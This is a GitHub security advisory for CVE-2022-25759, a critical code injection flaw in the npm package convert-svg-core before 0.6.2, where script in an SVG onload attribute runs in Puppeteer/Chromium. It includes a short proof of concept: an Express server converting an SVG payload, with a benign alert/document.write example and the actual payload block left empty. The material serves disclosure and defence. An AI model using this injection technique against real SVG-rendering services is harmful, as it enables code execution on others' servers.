GitHub Advisoryadvisory · npm
GHSA-5gxc-fxcr-9326 convert-svg-core vulnerable to remote code injection
CRITICAL
Official page ↗
- Aliases
- CVE-2022-25759
- Ecosystem
- npm
- Packages
- convert-svg-core
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2024-04-22
Affected packages
• npm convert-svg-core: < 0.6.2 → fixed in 0.6.2
Description
The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.
PoC
Payload
```html
```
where the `id` attribute is the base 64-encoded form of
```js
document.write('data');
```
Attack
```js
const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = `[[[payload]]]`;
// YWxlcnQoMSk=
// function newContent(){document.open(),document.write('data'),document.close()}
const app = express();
app.get('/poc', async (req, res)=>{
try {
const png = await convert(fileSvg);
res.set('Content-Type', 'image/png');
res.send(png);
} catch (e) {
console.log(e);
res.send("");
}
});
app.listen(3000, ()=>{
console.log('started');
});
```
Related
Alias · CVE (1)
- CVE-2022-25759 The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2022-25759 advisory
- https://github.com/neocotic/convert-svg/issues/81 web
- https://github.com/neocotic/convert-svg/pull/82 web
- https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5 web
- https://github.com/neocotic/convert-svg package
- https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633 web